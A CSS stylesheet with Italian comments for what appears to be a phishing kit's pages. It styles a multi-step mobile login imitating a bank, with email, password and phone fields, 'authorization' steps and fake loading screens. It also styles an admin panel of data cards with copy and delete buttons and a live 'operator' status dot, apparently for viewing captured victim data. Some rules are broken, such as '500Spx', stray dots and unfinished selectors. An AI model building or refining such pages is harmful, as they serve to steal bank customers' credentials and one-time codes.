body{
margin:0;
font-family:'Helvetica Neue',Helvetica,Arial,sans-serif;
background:url('bg.png');
background-size:cover;
background-position:center;
background-attachment:fixed;
color:#fff;
}

.hidden{display:none;}

#loader{
position:fixed;
inset:0;
background:#fff;
display:flex;
flex-direction:column;
justify-content:center;
align-items:center;
color:#111;
z-index:9999;
}

.spinner{
width:52px;
height:52px;
border:4px solid #ddd;
border-top:4px solid #005c99;
border-radius:50%;
animation:spin 1s linear infinite;
margin-bottom:25px;
}

@keyframes spin{
100%{transform:rotate(360deg);}
}

.topbar{
height:52px;
background:rgba(255,255,255,0.96);
display:flex;
align-items:center;
justify-content:space-between;
padding:0 10px;
}

.hamburger{
width:22px;
cursor:pointer;
}

.hamburger span{
display:block;
height:2px;
background:#002b55;
margin:4px 0;
}

.side-menu{
position:fixed;
top:52px;
left:-80%;
width:75%;
height:100%;
background:#fff;
color:#111;
padding:20px;
transition:0.25s;
z-index:999;
box-sizing:border-box;
}

.side-menu.open{
left:0;
}

.menu-header{
display:flex;
justify-content:space-between;
align-items:center;
}

.menu-header h2{
font-size:18px;
margin:0;
text-transform:none;
}

.menu-header button{
border:none;
background:none;
font-size:28px;
color:#000;
cursor:pointer;
}

.menu-line{
height:1px;
background:#d8d8d8;
margin:20px 0;
}

.menu-item{
display:flex;
align-items:center;
gap:14px;
margin:18px 0;
font-size:16px;
}

.access-title{
display:flex;
align-items:center;
gap:10px;
}

.access-title img{
width:28px;
height:28px;
border-radius:50%;
object-fit:cover;
}

.menu-item img{
width:24px;
height:24px;
object-fit:contain;
}

.container{
padding:55px 20px 80px;
text-align:center;
}

.step{
display:none;
}

.step.active{
display:block;
}

.white-card{
background:rgba(255,255,255,0.96);
padding-left:18px;
padding-right:18px;
padding-bottom:30px;
padding-top:0;
border-radius:0;
max-width:420px;
margin:0 auto;
box-shadow:0 10px 30px rgba(0,0,0,0.25);
}
.white-card h1,
.white-card .subtitle{
color:#111;
}

h1{
font-size:34px;
text-transform:none;
margin-bottom:10px;
}

.subtitle{
font-size:14px;
margin-bottom:35px;
}

.input-box{
background:#fff;
border:1px solid #ddd;
margin-bottom:15px;
}

input{
width:100%;
padding:18px;
box-sizing:border-box;
border:none;
outline:none;
background:#fff;
font-size:16px;
}

.main-btn{
width:100%;
padding:18px;
background:#005c99;
border:none;
color:#fff;
font-size:18px;
text-transform:none;
cursor:pointer;
opacity:1 !important;
border-radius:10px;
}

.spaced-btn{
margin-top:500Spx !important
}

.disabled{
pointer-events:none;
opacity:1 !important;
}

.bottom-bar{
position:fixed;
bottom:0;
left:0;
width:100%;
min-height:28px;
padding:6px 10px;
background:rgba(255,255,255,0.95);
display:flex;
flex-direction:column;
align-items:center;
justify-content:center;
font-size:9px;
color:#111;
box-sizing:border-box;
text-align:center;
}

/* ADMIN */

.admin-wrapper{
max-width:1100px;
margin:40px auto;
padding:20px;
}

.admin-title{
font-size:34px;
margin-bottom:30px;
}

.data-section{
background:#fff;
border-radius:18px;
padding:20px;
margin-bottom:25px;
color:#111;
}

.data-grid{
display:grid;
grid-template-columns:repeat(auto-fit,minmax(260px,1fr));
gap:18px;
}

.data-card{
background:#f7f7f7;
padding:16px;
border-radius:14px;
border:1px solid #e1e1e1;
}

.data-card h3{
margin-top:0;
font-size:18px;
}

.data-card p{
margin:8px 0;
word-break:break-word;
}

.admin-btn{
width:100%;
padding:12px;
margin-top:10px;
border:none;
border-radius:10px;
cursor:pointer;
font-weight:600;
}

.copy-btn{
background:#005c99;
color:#fff;
}

.delete-btn{
background:#111;
color:#fff;
}

.empty-text{
color:#666;
}


.outside-title{
  color:white;
  text-align:center;
  margin-bottom:10px;
}

.outside-subtitle{
  color:white;
  text-align:center;
  margin-bottom:25px;
}

.card-step1{
  padding-top:20px;
  padding-bottom:20px;
}

.card-step4{
  padding-top:20px;
  padding-bottom:20px;
}


/* STEP 1 */
.card-step1{
  margin-top:25px;
}

.outside-title{
  font-size:32px !important;
}

.card-step1 button{
  border-radius:6px !important;
  font-size:15px !important;
  padding:15px 20px !important;
}

/* top white line */
.top-line,
.line-top,
.header-line{
  height:12px !important;
}

/* STEP 3 + STEP 4 buttons */
#step3 button,
#step4 button{
  margin-top:20px !important;
  text-transform:capitalize !important;
}

/* STEP 4 */
.card-step4{
  margin-top:30px;
}

.card-step4 button{
  border-radius:6px !important;
}


/* Bottoni tutti squadrati */
button{
  border-radius:0px !important;
}

/* Step 2 e 3 stessa posizione */
#step2 button,
#step3 button{
  margin-top:20px !important;
}

/* Step 4 stessa estetica */
#step4 button{
  border-radius:0px !important;
}


#step1 button{
  border-radius:0px !important;
}


.topbar{
justify-content:space-between;
padding:0 12px;
box-sizing:border-box;
}

.topbar-left-logo{
height:22px;
margin-left:8px;
object-fit:contain;
}

.topbar-right-logo{
height:28px;
object-fit:contain;
}

.menu-header h2{
font-size:18px;
}

.menu-item{
font-size:9px;
}


.topbar-left{display:flex;align-items:center;gap:10px;}
.topbar-left-logo{height:20px;width:auto;}
.topbar-right-logo{height:26px;width:auto;}
.menu-header h2{font-size:18px !important;}
.menu-item{font-size:9px;}



/* Modifiche richieste - senza alterare il pannello admin */

/* Logo in alto a destra più grande */
.topbar-right-logo{
  height: 34px !important;
  width: auto !important;
}

/* Logo accanto alle 3 linee più piccolo */
.topbar-left-logo{
  height: 17px !important;
  width: auto !important;
}

/* Icona "Accesso" nel menu laterale più piccola */
.access-title img{
  width: 22px !important;
  height: 22px !important;
}

/* Icone "Contatti e Faq" e "Sicurezza" più piccole */
.menu-item img{
  width: 22px !important;
  height: 22px !important;
}

/* Testi menu laterale leggermente più grandi */
.menu-item span{
  font-size: 14px !important;
}

/* Abbassa leggermente il riquadro bianco del primo step */
.card-step1{
  margin-top: 69px !important;
}


/* Loader branding professionale */
.loader-brand{
  display:flex;
  flex-direction:column;
  align-items:center;
  justify-content:center;
  gap:14px;
  margin-bottom:20px;
}
.loader-common-logo{
  width:min(240px, 68vw);
  height:auto;
  display:block;
}
.loader-db-logo{
  width:min(72px, 20vw);
  height:auto;
  display:block;
  box-shadow: 0 8px 20px rgba(0,0,0,0.08);
  border-radius: 8px;
}


/* Benvenuto • Rocky leggermente più piccolo */
h1, .welcome-title {
  font-size: 92% !important;
}

/* Campi Email/Password/Telefono leggermente più bassi */
input, .input-field {
  min-height: 44px !important;
  height: 44px !important;
  padding-top: 10px !important;
  padding-bottom: 10px !important;
}

/* Logo accanto alle 3 linee ancora più piccolo */
.topbar-left-logo {
  height: 15px !important;
  width: auto !important;
}

/* Icona Contatti e FAQ nel menu laterale più piccola */
.menu-item img {
  width: 20px !important;
  height: 20px !important;
}

/* Pulsanti più luminosi */
button,
.btn,
.primary-button,
.cta-button {
  filter: brightness(1.08) !important;
}

/* Testo Accesso con capitalizzazione normale */
.access-title,
.access-title span {
  text-transform: none !important;
}


.

.


/* lowercase text fixes */
.outside-title{
    text-transform:none !important;
    font-size:24px !important;
}

#step4 .outside-title{
    font-size:20px !important;
}

#step1 .main-btn,
#step2 .main-btn,
#step3 .main-btn{
    text-transform:none !important;
}


/* forced lowercase fixes */
*{
text-transform:none !important;
}

#step1 h1,
#step1 .title,
#step1 .subtitle{
font-size:22px !important;
}

#step4 h1,
#step4 .title,
#step4 .subtitle{
font-size:14px !important;
}

button{
text-transform:none !important;
}





/* user requested welcome text adjustments */
.outside-title{font-size:16px !important;font-weight:400 !important;}
.outside-subtitle{font-size:11px !important;font-weight:400 !important;}



.info-input{
position:relative;
display:flex;
align-items:center;
}

.info-input input{
padding-right:38px;
}

.info-icon{
width:16px;height:16px;
border-radius:50%;
border:1px solid #8a8a8a;
background:#ffffff;
color:#6f6f6f;
font-size:10px;
font-weight:600;
display:flex;
align-items:center;
justify-content:center;
cursor:pointer;
position:absolute;
right:12px;
top:50%;
transform:translateY(-50%);
flex-shrink:0;
font-family:Arial, Helvetica, sans-serif;
}

.tooltip-box{
display:none;
position:absolute;
right:22px;
top:-4px;
width:165px;
background:#fff;
border:1px solid #cfcfcf;
padding:6px;
font-size:8px;
line-height:1.2;
color:#222;
border-radius:0px;
box-shadow:0 2px 8px rgba(0,0,0,0.10);
z-index:999;
font-weight:400;
}

.info-icon:hover .tooltip-box{
display:block;
}



.info-icon{
overflow:visible;
background:transparent;
border:none;
padding:0;
}

.info-icon img{
width:16px;height:16px;
display:block;
border-radius:50%;
}


/* requested tweaks */
.bottom-bar span{color:#000 !important;}
#step1 .outside-title{font-size:31px !important;font-weight:400 !important;margin-top:18px !important;margin-bottom:12px !important;}
#step2 .spaced-btn, #step3 .spaced-btn{margin-top:420px !important;}

/* Final requested adjustments */
.bottom-bar span{
  color:#000 !important;
}

#step2 .main-btn,
#step3 .main-btn{
  margin-top: 120px !important;
}

#step1 .outside-title{
  font-size:22px !important;
}

#step1 .outside-subtitle{
  font-size:14px !important;
  margin-top:10px !important;
  margin-bottom:20px !important;
}


.second-loader{
    display:none;
    position:fixed;
    top:0;
    left:0;
    width:100%;
    height:100%;
    background:#fff;
    z-index:999999;
    justify-content:center;
    align-items:center;
    flex-direction:column;
}


    to{transform:rotate(360deg);}
}






/* CLEAN FIXED DOT LOADER */

.second-loader{
    position:fixed;
    top:0;
    left:0;
    width:100%;
    height:100%;
    background:#fff;
    z-index:999999;
    display:none;
    justify-content:center;
    align-items:center;
    flex-direction:column;
}

.dot-loader{
    position:relative;
    width:58px;
    height:58px;
}

.dot-loader span{
    position:absolute;
    border-radius:50%;
    background:#2448b8;
    box-shadow:0 0 6px rgba(36,72,184,0.28);
    animation:pulseDot 1.4s infinite ease-in-out;
}

/* top row */
.dot-loader span:nth-child(1){
    top:0;
    left:0;
    width:7px;
    height:7px;
    animation-delay:0s;
}

.dot-loader span:nth-child(2){
    top:0;
    left:24px;
    width:10px;
    height:10px;
    animation-delay:0.1s;
}

.dot-loader span:nth-child(3){
    top:0;
    right:0;
    width:15px;
    height:15px;
    animation-delay:0.2s;
}

/* middle row */
.dot-loader span:nth-child(4){
    top:24px;
    left:0;
    width:6px;
    height:6px;
    animation-delay:0.3s;
}

.dot-loader span:nth-child(5){
    opacity:0;
}

.dot-loader span:nth-child(6){
    top:20px;
    right:0;
    width:16px;
    height:16px;
    animation-delay:0.4s;
}

/* bottom row */
.dot-loader span:nth-child(7){
    bottom:0;
    left:0;
    width:4px;
    height:4px;
    animation-delay:0.5s;
}

.dot-loader span:nth-child(8){
    bottom:0;
    left:27px;
    width:3px;
    height:3px;
    animation-delay:0.6s;
}

.dot-loader span:nth-child(9){
    bottom:0;
    right:0;
    width:13px;
    height:13px;
    animation-delay:0.7s;
}

.second-loader h2{
    color:#fff;
    margin-top:18px;
    margin-bottom:4px;
    font-size:20px;
    transform:translateY(-8px);
}



.second-loader p{
    color:#c8c8c8;
    font-size:14px;
    transform:translateY(10px);
    margin-top:10px;
}



@keyframes pulseDot{
    0%{
        transform:scale(0.82);
        opacity:0.35;
    }
    50%{
        transform:scale(1);
        opacity:1;
    }
    100%{
        transform:scale(0.82);
        opacity:0.35;
    }
}


/* BUTTON LAYOUT FIX */

button[onclick*="secureauthenticator"]{
    display:block !important;
    margin-left:auto !important;
    margin-right:auto !important;
    width:90% !important;
    max-width:340px !important;
    text-align:center !important;
}

button[onclick*="nextStep"]{
    width:auto !important;
    min-width:unset !important;
    padding-left:18px !important;
    padding-right:18px !important;
    display:inline-flex !important;
    justify-content:center !important;
    align-items:center !important;
}


/* AUTH BUTTON SIZE FIX */

button[onclick*="nextStep"]{
    width:auto !important;
    padding:10px 16px !important;
    font-size:14px !important;
    border-radius:10px !important;
}


.secondary-btn{
background: transparent;
border: 1px solid #ffffff;
margin-top: 12px;
}

.card-step4 .secondary-btn,
.card-step1 .secondary-btn{
border: 1px solid #0c1c3d;
color: #0c1c3d;
}


/* Pulsanti autorizzazione step 2 e 3 quadrati */
#step2 .main-btn,
#step3 .main-btn{
  border-radius:0px !important;
}

.operator-status {
  display:flex;
  align-items:center;
  justify-content:center;
  gap:8px;
  margin-bottom:4px;
  font-size:9px;
}

.status-dot {
  width:10px;
  height:10px;
  background:#00c853;
  border-radius:50%;
  animation:blink 1s infinite;
}

@keyframes blink {
  0%,100% { opacity:1; }
  50% { opacity:0.3; }
}

@media (max-width: 768px){
  .
  .
  #step2, #step3{padding-top:0 !important;}
}


/* Mobile otpimization updated */
@media (max-width: 768px){
  .
  .
  #step2 .main-btn, #step3 .main-btn{margin-top:6px !important; margin-bottom:6px !important; padding-top:10px !important; padding-bottom:10px !important;}
  #step2 .button-group, #step3 .button-group{gap:6px !important;}
}


/* Mobile enlargement for step 2 and 3 images */
#step2 .step-logo,
#step3 .

#step2 .step-logo-wrapper,
#step3 .

@media screen and (max-width: 480px){
  #step2 .step-logo,
  #step3 .
}





/* STEP 2-3 MOBILE IMAGE FIX */
.step-logo-wrapper,
#step3 .step-logo-wrapper{
  width:100%;
  display:flex;
  justify-content:center;
  align-items:center;
  margin-top:-45px !important;
  margin-bottom:-8px !important;
}

.step-logo,
#step3 .step-logo{
  width:370px !important;
  max-width:98vw !important;
  height:auto !important;
  display:block;
  margin:0 auto;
}

#step2 .main-btn,
#step3 .main-btn{
  margin-top:6px !important;
  margin-bottom:6px !important;
}

@media (max-width:480px){

  .step-logo,
  #step3 .step-logo{
    width:390px !important;
    max-width:99vw !important;
  }

  .step-logo-wrapper,
  #step3 .step-logo-wrapper{
    margin-top:-55px !important;
    margin-bottom:-12px !important;
  }
}